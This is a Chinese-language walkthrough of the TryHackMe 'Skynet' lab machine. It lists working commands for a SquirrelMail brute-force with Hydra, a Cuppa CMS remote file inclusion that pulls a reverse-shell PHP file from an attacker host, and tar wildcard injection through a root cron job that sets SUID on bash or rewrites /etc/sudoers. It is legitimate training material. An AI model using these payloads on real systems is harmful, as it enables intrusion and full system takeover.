【THM】Skynet
字数 1316 2025-09-01 11:26:11

Skynet渗透测试教学文档

目标概述

Skynet是一台运行易受攻击的Terminator主题的Linux计算机,开放了SSH、HTTP、SMB、IMAP、POP3和NetBIOS六个端口。本教学将详细讲解如何从初始信息收集到最终获取root权限的完整渗透测试过程。

初始信息收集

端口扫描

使用nmap进行初始扫描发现开放端口:

nmap -sV -p- <目标IP>

发现开放服务:

  • SSH (22)
  • HTTP (80)
  • SMB (445)
  • IMAP (143)
  • POP3 (110)
  • NetBIOS (139)

Web服务枚举

  1. 访问HTTP服务:

    http://<目标IP>
    
  2. 使用Wappalyzer识别Web服务器版本:Apache 2.4.18

  3. 检查Searchsploit中该版本的漏洞:

    searchsploit Apache 2.4.18
    

    发现无直接可利用漏洞

  4. 使用Gobuster进行目录扫描:

    gobuster dir -u http://<目标IP> -w /usr/share/wordlists/dirb/common.txt
    

    发现/squirrelmail目录

SMB枚举

匿名访问检查

  1. 使用smbmap检查共享权限:

    smbmap -H <目标IP>
    

    发现Anonymous共享允许匿名访问

  2. 递归列出共享内容:

    smbmap -R anonymous -H <目标IP>
    

    发现attention.txt和logs目录

下载文件

  1. 使用smbclient连接:
    smbclient //<目标IP>/anonymous
    
  2. 下载文件:
    get attention.txt
    cd logs
    get log1.txt
    get log2.txt
    get log3.txt
    

文件分析

  1. attention.txt内容:

    近期系统故障导致多处密码被更改。所有天网员工在看到此信息后,必须立即更改密码。
    

    提示用户名:Miles Dyson

  2. log1.txt内容:
    包含可能的密码列表(与《终结者》电影相关)

SquirrelMail暴力破解

  1. 访问SquirrelMail登录页面:

    http://<目标IP>/squirrelmail
    
  2. 使用Hydra进行暴力破解:

    hydra -s 80 -l milesdyson -P logs/log1.txt <目标IP> http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=0&just_logged_in=1:Unknown user or password incorrect." -f
    
  3. 登录后查看邮件,发现密码重置邮件包含SMB密码

SMB认证访问

  1. 使用获得的凭证连接SMB:

    smbclient //<目标IP>/milesdyson -U Milesdyson
    
  2. 发现notes文件夹和important.txt文件:

    cd notes
    get important.txt
    
  3. important.txt内容:

    提醒自己需要使用特定路径/45kra24zxs28v3yd向beta CMS添加功能
    

Web目录深入

  1. 访问发现的隐藏目录:

    http://<目标IP>/45kra24zxs28v3yd
    
  2. 使用Gobuster扫描该目录:

    gobuster dir -u http://<目标IP>/45kra24zxs28v3yd -w /usr/share/wordlists/dirb/common.txt
    

    发现/administrator目录

  3. 访问Cuppa CMS登录页面:

    http://<目标IP>/45kra24zxs28v3yd/administrator
    

Cuppa CMS漏洞利用

  1. 搜索Cuppa CMS漏洞:

    searchsploit Cuppa CMS
    

    发现远程文件包含(RFI)漏洞

  2. 利用步骤:

    • 修改php反向shell脚本(设置IP和端口)
    • 启动Python HTTP服务器:
      python3 -m http.server 80
      
    • 设置Netcat监听器:
      nc -nvlp <监听端口>
      
    • 利用RFI获取反向shell:
      http://<目标IP>/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://<攻击者IP>/reverse_shell.php
      
  3. 稳定获得的shell:

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    export TERM=xterm
    

权限提升

信息收集

  1. 下载并运行Linpeas:

    wget http://<攻击者IP>/linpeas.sh
    chmod +x linpeas.sh
    ./linpeas.sh
    
  2. 发现关键信息:

    • /home/milesdyson/backups/backup.sh脚本
    • 该脚本由root通过cron每分钟执行

备份脚本分析

backup.sh内容:

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

通配符注入攻击

  1. 创建恶意文件:

    echo -e '#!/bin/bash\nchmod +s /bin/bash' > /var/www/html/root_shell.sh
    chmod +x /var/www/html/root_shell.sh
    touch "/var/www/html/--checkpoint-action=exec=sh root_shell.sh"
    touch "/var/www/html/--checkpoint=1"
    
  2. 等待cron执行(最多1分钟)

  3. 检查/bin/bash权限:

    ls -la /bin/bash
    

    应显示SUID位已设置(-rwsr-xr-x)

  4. 获取root shell:

    /bin/bash -p
    

替代方法(修改sudoers)

  1. 创建恶意脚本:

    echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > /var/www/html/pavan.sh
    chmod +x /var/www/html/pavan.sh
    
  2. 创建触发文件:

    touch "/var/www/html/--checkpoint-action=exec=sh pavan.sh"
    touch "/var/www/html/--checkpoint=1"
    
  3. 等待执行后验证:

    sudo -l
    sudo bash
    

总结

本渗透测试过程涵盖了从初始信息收集到最终权限提升的完整链条,关键点包括:

  1. SMB匿名访问的信息泄露
  2. SquirrelMail的暴力破解
  3. 通过SMB获取的凭证和提示信息
  4. Web目录的深入枚举
  5. Cuppa CMS的RFI漏洞利用
  6. 利用cron job和tar通配符注入进行权限提升

这种系统性的方法展示了如何将各个发现串联起来形成完整的攻击链,最终获取系统最高权限。

Skynet渗透测试教学文档 目标概述 Skynet是一台运行易受攻击的Terminator主题的Linux计算机,开放了SSH、HTTP、SMB、IMAP、POP3和NetBIOS六个端口。本教学将详细讲解如何从初始信息收集到最终获取root权限的完整渗透测试过程。 初始信息收集 端口扫描 使用nmap进行初始扫描发现开放端口: 发现开放服务: SSH (22) HTTP (80) SMB (445) IMAP (143) POP3 (110) NetBIOS (139) Web服务枚举 访问HTTP服务: 使用Wappalyzer识别Web服务器版本:Apache 2.4.18 检查Searchsploit中该版本的漏洞: 发现无直接可利用漏洞 使用Gobuster进行目录扫描: 发现/squirrelmail目录 SMB枚举 匿名访问检查 使用smbmap检查共享权限: 发现Anonymous共享允许匿名访问 递归列出共享内容: 发现attention.txt和logs目录 下载文件 使用smbclient连接: 下载文件: 文件分析 attention.txt内容: 提示用户名:Miles Dyson log1.txt内容: 包含可能的密码列表(与《终结者》电影相关) SquirrelMail暴力破解 访问SquirrelMail登录页面: 使用Hydra进行暴力破解: 登录后查看邮件,发现密码重置邮件包含SMB密码 SMB认证访问 使用获得的凭证连接SMB: 发现notes文件夹和important.txt文件: important.txt内容: Web目录深入 访问发现的隐藏目录: 使用Gobuster扫描该目录: 发现/administrator目录 访问Cuppa CMS登录页面: Cuppa CMS漏洞利用 搜索Cuppa CMS漏洞: 发现远程文件包含(RFI)漏洞 利用步骤: 修改php反向shell脚本(设置IP和端口) 启动Python HTTP服务器: 设置Netcat监听器: 利用RFI获取反向shell: 稳定获得的shell: 权限提升 信息收集 下载并运行Linpeas: 发现关键信息: /home/milesdyson/backups/backup.sh脚本 该脚本由root通过cron每分钟执行 备份脚本分析 backup.sh内容: 通配符注入攻击 创建恶意文件: 等待cron执行(最多1分钟) 检查/bin/bash权限: 应显示SUID位已设置(-rwsr-xr-x) 获取root shell: 替代方法(修改sudoers) 创建恶意脚本: 创建触发文件: 等待执行后验证: 总结 本渗透测试过程涵盖了从初始信息收集到最终权限提升的完整链条,关键点包括: SMB匿名访问的信息泄露 SquirrelMail的暴力破解 通过SMB获取的凭证和提示信息 Web目录的深入枚举 Cuppa CMS的RFI漏洞利用 利用cron job和tar通配符注入进行权限提升 这种系统性的方法展示了如何将各个发现串联起来形成完整的攻击链,最终获取系统最高权限。